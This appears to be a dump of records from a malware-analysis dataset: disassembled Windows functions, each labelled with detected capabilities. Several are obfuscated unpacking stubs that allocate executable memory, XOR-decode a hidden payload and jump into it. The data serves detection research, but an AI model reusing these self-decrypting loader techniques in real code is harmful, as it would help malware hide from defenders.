joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10011023
Capabilities:
Terminate process

Disassembly:
jmp 0x1001cb00
jmp fcn.1001cb30
cmp ecx, dword [0x10021054]
jne 0x1001cb0a
repz ret
jmp 0x100110b9

Function at 0x10019dc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x10019dcf
pop dword [ebp - 0x34]
mov eax, 0x10019dcf
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x9d85c20b
add dword [ebp - 0x44], 0xb0cc8340
mov dword [ebp - 0x40], 0xdfac6db6
add dword [ebp - 0x40], 0x5286de8f
mov dword [ebp - 0x3c], 0x2d0492af
add dword [ebp - 0x3c], 0x1f47b17f
mov dword [ebp - 0x38], 0xea109239
sub dword [ebp - 0x38], 0xea109239
lea eax, [ebp - 0x44]
push eax
mov eax, 0xbd71a2b2
sub eax, 0xad6f80c6
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0xf1faa7ce
sub dword [ebp - 0x44], 0x7d883e78
mov dword [ebp - 0x40], 0x633885de
sub dword [ebp - 0x40], 0x21cc2469
mov dword [ebp - 0x3c], 0xe1ed1695
sub dword [ebp - 0x3c], 0x7e7daa29
mov dword [ebp - 0x38], 0xfece06f1
sub dword [ebp - 0x38], 0xfece06f1
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0x2266d75c
add eax, 0xed9b4a94
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x37c7a
push 0
call eax
mov ecx, 0xa163740c
sub ecx, 0xa163299c
mov ebx, eax
mov edi, 0x4dc83556
sub edi, 0x3dc5eb56
add edi, dword [ebp - 0x34]
mov edx, 0xff32ecce
add edx, 0xb0f718a3
add dword [ebp - 0x1c], 0xc7189873
mov esi, dword [edi]
mov dword [ebp - 8], 0x26aff382
add esi, edx
sub dword [ebp - 0x1c], esi
mov dword [ebx], esi
xor dword [ebp - 0xc], 0x6c422337
add ebx, 4
add edi, 4
loop 0x10019eec
add eax, 0xf1a037a9
add eax, 0xe60e4ea
mov ebx, eax
add eax, 0x1032a636
add eax, 0xefcd59cf
mov ecx, 0xae35b31b
sub ecx, 0x9e35b31b
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x406624
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406648
xor eax, eax
test eax, eax
je 0x40665b
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x40665b
xor ecx, ecx
jmp 0x40665e
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406787
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4698ec], 0
push esi
jne 0x4067be
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406798
mov dword [ecx*4 + 0x4698e8], eax
inc ecx
cmp ecx, 0x100
jl 0x406793
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4067ef
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4698e8]
xor eax, esi
inc ecx
dec edx
jne 0x4067d1
pop edi
not eax
pop esi
ret 0xc

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
pop eax
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
jl 0x432030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43201e
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x4099ec
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409abf
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409ad8
push ebx
push 0x409ae4
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409a6c
mov al, 0x6a
call fcn.00409648
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.004099c0
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409a75
call fcn.004099c0
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409ac6
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x409b78
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409c2c
jmp 0x409c21
cmp dword [esi + 0x10], 0x1000
jne 0x409c0d
test byte [esi + 0x15], 1
jne 0x409c0d
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409bcc
cmp eax, 2
je 0x409bcc
cmp eax, 0x10
je 0x409bcc
cmp eax, 0x20
jne 0x409be1
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409be1
mov bl, 1
xor ebp, ebp
jmp 0x409bf2
mov eax, dword [esi]
add eax, ebp
call fcn.00409b70
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409be5
test bl, bl
je 0x409c0d
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409c2c
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409ba4
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x438c9c
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0x438a14
sub ecx, edi
and ecx, edi
add ecx, edi
call fcn.00438cc7
sub ecx, 0xbf679b0a
xor dword [eax], ebx
mov edi, edi
inc eax
sub edi, edi
or ecx, edi
cmp eax, edx
jne fcn.00438c9c
mov edi, edi
sub edi, ecx
inc edi
ret
Function at 0x402430
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40803c]
sub esp, 4
test ebx, ebx
je 0x40247b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x402474
test esi, esi
je 0x402474
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402450
mov dword [esp], 0x408044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402660
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x4026b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402788
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x4026ee
cmp eax, 4
jne 0x402710
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x4026fe
cmp edx, 4
je 0x4026fe
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402660

Function at 0xf5f034
Capabilities:
Encode data using xor

Disassembly:
jmp 0xf5f03e
pushal
call 0xf5f044
pop ebp
sub ebp, 0x10
sub ebp, 0xb5f034
jmp 0xf5f05a
mov eax, 0xb5f034
add eax, ebp
add eax, 0x4c
mov ecx, 0x5cb
mov edx, 0x6239dca7
xor byte [eax], dl
inc eax
dec ecx
jne 0xf5f071
jmp 0xf5f084
sub al, 0x6a
sub al, 0x2e
wait
cmpsd dword [esi], dword es:[edi]
cmpsd dword [esi], dword es:[edi]
cmpsd dword [esi], dword es:[edi]
pop di
cmpsd dword [esi], dword es:[edi]
cmpsd dword [esi], dword es:[edi]
cmpsd dword [esi], dword es:[edi]
movsb byte es:[edi], byte [esi]
push 0x1f
mov eax, dword [0x1da7a7a7]
invalid
Function at 0x401070
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x439030]
jne 0x40107a
repz ret
jmp fcn.00401cc1

Function at 0x40a954
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00406c9e
and dword [ebp - 4], 0
cmp dword [0x43b894], 0
mov ebx, eax
jne 0x40aa05
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40aab6
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40aab6
push eax
call fcn.00406c2c
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x43b894], eax
call esi
push eax
call fcn.00406c2c
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43b898], eax
call esi
push eax
call fcn.00406c2c
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x43b89c], eax
call esi
push eax
call fcn.00406c2c
pop ecx
mov dword [0x43b8a4], eax
test eax, eax
je 0x40aa05
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00406c2c
pop ecx
mov dword [0x43b8a0], eax
mov eax, dword [0x43b8a0]
cmp eax, ebx
je 0x40aa5d
cmp dword [0x43b8a4], ebx
je 0x40aa5d
push eax
call fcn.00406ca7
push dword [0x43b8a4]
mov esi, eax
call fcn.00406ca7
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40aa5d
test edi, edi
je 0x40aa5d
call esi
test eax, eax
je 0x40aa54
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40aa54
test byte [ebp - 0xc], 1
jne 0x40aa5d
or dword [ebp + 0x10], 0x200000
jmp 0x40aa96
mov eax, dword [0x43b898]
cmp eax, ebx
je 0x40aa96
push eax
call fcn.00406ca7
pop ecx
test eax, eax
je 0x40aa96
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40aa96
mov eax, dword [0x43b89c]
cmp eax, ebx
je 0x40aa96
push eax
call fcn.00406ca7
pop ecx
test eax, eax
je 0x40aa96
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x43b894]
call fcn.00406ca7
pop ecx
test eax, eax
je 0x40aab6
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40aab8
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4021f0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x148
mov eax, dword [0x40e3e0]
xor eax, esp
mov dword [esp + 0x144], eax
push ebp
mov ebp, dword [esp + 0x154]
push esi
push edi
push 0x104
lea eax, [esp + 0x50]
push 0
push eax
call fcn.00404c50
mov eax, dword [esp + 0x164]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0xc
sub eax, 1
je 0x4022b0
sub eax, 1
je 0x40229e
sub eax, 1
jne 0x402300
lea ecx, [esp + 0x4c]
push ecx
push eax
push eax
push 0x23
push eax
call fcn.00403140
add esp, 0x14
lea edx, [esp + 0x4c]
push edx
call edi
cmp byte [esp + eax + 0x4b], 0x5c
je 0x40226c
mov byte [esp + eax + 0x4c], 0x5c
mov byte [esp + eax + 0x4d], 0
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x402300
mov byte [ebp], 0
pop edi
pop esi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x144]
xor ecx, esp
call fcn.00404c23
add esp, 0x148
ret
lea ecx, [esp + 0x4c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
jmp 0x402254
push 0x104
lea ecx, [esp + 0x50]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edx, [esp + 0x4c]
push edx
call edi
cmp byte [esp + eax + 0x4b], 0x5c
je 0x4022d4
mov byte [esp + eax + 0x4c], 0x5c
inc eax
lea esi, [esp + eax + 0x4c]
push str.Temp
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x402280
push 0x40b28c
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.240510134319815572655540
call edi
dec eax
cmp eax, 8
jl 0x402284
mov al, byte [eax + str.240510134319815572655540]
cmp al, 0x30
jl 0x402284
cmp al, 0x39
jg 0x402284
movsx esi, al
sub esi, 0x30
and esi, reloc.WS2_32.dll_closesocket
jns 0x40233a
dec esi
or esi, 0xfffffffc
inc esi
push str.240510134319815572655540
add esi, 4
call edi
sub eax, esi
dec eax
xor ecx, ecx
lea eax, [eax + str.240510134319815572655540]
nop
mov dl, byte [eax]
test dl, dl
je 0x4023b5
test esi, esi
jle 0x4023b5
add dl, dl
inc dl
inc eax
mov byte [esp + ecx + 0xc], dl
mov dl, byte [eax]
dec esi
test dl, dl
je 0x4023aa
test esi, esi
jle 0x4023aa
add dl, dl
inc dl
inc eax
mov byte [esp + ecx + 0xd], dl
mov dl, byte [eax]
dec esi
test dl, dl
je 0x4023ad
test esi, esi
jle 0x4023ad
add dl, dl
inc dl
inc eax
mov byte [esp + ecx + 0xe], dl
mov dl, byte [eax]
dec esi
test dl, dl
je 0x4023b2
test esi, esi
jle 0x4023b2
add dl, dl
inc dl
mov byte [esp + ecx + 0xf], dl
add ecx, 4
dec esi
inc eax
cmp ecx, 0x40
jb 0x402350
jmp 0x4023b5
inc ecx
jmp 0x4023b5
add ecx, 2
jmp 0x4023b5
add ecx, 3
mov byte [esp + ecx + 0xc], 0x2e
push 0x40b288
lea ecx, [esp + ecx + 0x11]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 0x4c]
push edx
call edi
mov ecx, 0x104
sub ecx, eax
push ecx
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x54]
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea ecx, [esp + eax + 0x54]
push ecx
call esi
push 0x103
lea edx, [esp + 0x50]
push edx
push ebp
call esi
mov ecx, dword [esp + 0x150]
pop edi
pop esi
pop ebp
xor ecx, esp
mov eax, 1
call fcn.00404c23
add esp, 0x148
ret
Function at 0x100250d4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x100250e3
pop dword [ebp - 0x18]
mov eax, 0xf78505ff
sub eax, 0xe782b51c
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xcd785691
add dword [ebp - 0x28], 0x80d9eeba
mov dword [ebp - 0x24], 0x4828e00c
add dword [ebp - 0x24], 0xea0a6c39
mov dword [ebp - 0x20], 0x14e8ff20
add dword [ebp - 0x20], 0x3763450e
mov dword [ebp - 0x1c], 0xce1ab240
sub dword [ebp - 0x1c], 0xce1ab240
lea eax, [ebp - 0x28]
push eax
mov eax, 0x23a5aae1
add eax, 0xec5da637
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xe76b3332
sub dword [ebp - 0x28], 0x72f8c9dc
mov dword [ebp - 0x24], 0xb18c8af0
add dword [ebp - 0x24], 0x8fdfd685
mov dword [ebp - 0x20], 0xd7709bf5
sub dword [ebp - 0x20], 0x74012f89
mov dword [ebp - 0x1c], 0xb192b09
add dword [ebp - 0x1c], 0xf4e6d4f7
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0xbb89690f
sub eax, 0xab8617ab
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x38ef6
push 0
call eax
mov ecx, 0xf6660f88
sub ecx, 0xf665d01e
xor ebx, ebx
add ebx, eax
mov esi, 0x118bb4d2
sub esi, 0x18330d2
add esi, dword [ebp - 0x18]
mov edi, 0xd00f25d1
add dword [ebp - 4], edx
mov edx, dword [esi]
sub dword [ebp - 8], 0x6c157b13
sub edx, edi
xor dword [ebp - 0x10], edi
mov dword [ebx], edx
add dword [ebp - 4], 0x6b8bbdce
add ebx, 0x6eebc708
sub ebx, 0x6eebc704
add esi, 0x1638bb27
add esi, 0xe9c744dd
loop 0x10025201
add eax, 0xf07b
xor ebx, ebx
add ebx, eax
add eax, 0x3f18fc2d
sub eax, 0x3f18fc28
mov ecx, 0xa703dd5c
sub ecx, 0x9703dd5c
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x10015217
Capabilities:
Enumerate processes

Disassembly:
push 0x238
mov eax, 0x1002d711
call fcn.10017005
mov ebx, dword [ebp + 8]
test ebx, ebx
jne 0x10015234
xor eax, eax
jmp 0x10015311
xor edi, edi
push edi
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x1001530f
lea eax, [ebp - 0x23c]
mov dword [ebp - 0x23c], 0x22c
push eax
push esi
call sub.kernel32.dll_Process32FirstW
jmp 0x100152e5
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x244]
call fcn.1000128b
push ebx
lea ecx, [ebp - 0x240]
mov dword [ebp - 4], edi
call fcn.1000128b
lea ecx, [ebp - 0x244]
mov byte [ebp - 4], 1
call fcn.10001cc6
lea ecx, [ebp - 0x240]
call fcn.10001cc6
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x240]
push eax
call fcn.1002b663
pop ecx
pop ecx
mov ecx, dword [ebp - 0x240]
lea ecx, [ecx - 0x10]
test al, al
jne 0x100152ef
call fcn.10001eb4
mov ecx, dword [ebp - 0x244]
or dword [ebp - 4], 0xffffffff
lea ecx, [ecx - 0x10]
call fcn.10001eb4
lea eax, [ebp - 0x23c]
push eax
push esi
call sub.kernel32.dll_Process32NextW
test eax, eax
jne 0x10015264
jmp 0x10015308
mov edi, dword [ebp - 0x234]
call fcn.10001eb4
mov ecx, dword [ebp - 0x244]
add ecx, 0xfffffff0
call fcn.10001eb4
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
call fcn.10016faf
ret
Function at 0xc24058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00c241a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xc2407e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xc2406a
add dl, dl
jne 0xc24089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xc240dc
xor eax, eax
add dl, dl
jne 0xc24096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xc2417d
add dl, dl
jne 0xc240a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xc240b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xc240bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xc240c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xc240d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xc24075
mov eax, 1
add dl, dl
jne 0xc240ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xc240f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xc240e1
sub eax, ebx
mov ebx, 1
jne 0xc24128
mov ecx, 1
add dl, dl
jne 0xc2410e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xc24119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xc24105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xc24075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xc2413f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xc2414a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xc24136
cmp eax, 0x7d00
jae 0xc2416d
cmp eax, 0x500
jb 0xc24168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xc24075
cmp eax, 0x7f
ja 0xc24170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xc24075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xc2419e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xc24075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x10015217
Capabilities:
Enumerate processes

Disassembly:
push 0x238
mov eax, 0x1002d711
call fcn.10017005
mov ebx, dword [ebp + 8]
test ebx, ebx
jne 0x10015234
xor eax, eax
jmp 0x10015311
xor edi, edi
push edi
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x1001530f
lea eax, [ebp - 0x23c]
mov dword [ebp - 0x23c], 0x22c
push eax
push esi
call sub.kernel32.dll_Process32FirstW
jmp 0x100152e5
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x244]
call fcn.1000128b
push ebx
lea ecx, [ebp - 0x240]
mov dword [ebp - 4], edi
call fcn.1000128b
lea ecx, [ebp - 0x244]
mov byte [ebp - 4], 1
call fcn.10001cc6
lea ecx, [ebp - 0x240]
call fcn.10001cc6
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x240]
push eax
call fcn.1002b663
pop ecx
pop ecx
mov ecx, dword [ebp - 0x240]
lea ecx, [ecx - 0x10]
test al, al
jne 0x100152ef
call fcn.10001eb4
mov ecx, dword [ebp - 0x244]
or dword [ebp - 4], 0xffffffff
lea ecx, [ecx - 0x10]
call fcn.10001eb4
lea eax, [ebp - 0x23c]
push eax
push esi
call sub.kernel32.dll_Process32NextW
test eax, eax
jne 0x10015264
jmp 0x10015308
mov edi, dword [ebp - 0x234]
call fcn.10001eb4
mov ecx, dword [ebp - 0x244]
add ecx, 0xfffffff0
call fcn.10001eb4
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
call fcn.10016faf
ret

Function at 0x1002b663
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x1002b672
pop dword [ebp - 0x30]
mov eax, 0x1002b672
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x3d50b
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0x815af3ef
sub ecx, 0x815ab7b6
xor edi, edi
add edi, eax
mov esi, 0xb07b4982
add esi, 0x5f89627e
add esi, dword [ebp - 0x30]
mov ebx, 0x1513bd6c
add ebx, 0xcbf80fad
add dword [ebp - 0x2c], 0x1bd2a9cc
mov edx, dword [esi]
sub edx, ebx
xor dword [ebp - 0x10], edi
mov dword [edi], edx
xor dword [ebp - 0x24], 0x7b95a71b
add edi, 0x966667d9
sub edi, 0x966667d5
add esi, 0xd177c99
sub esi, 0xd177c95
loop 0x1002b6c9
add eax, 0xe3b7
mov ebx, eax
add eax, 0x6b8436d7
sub eax, 0x6b8436d2
mov ecx, 0x10000000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret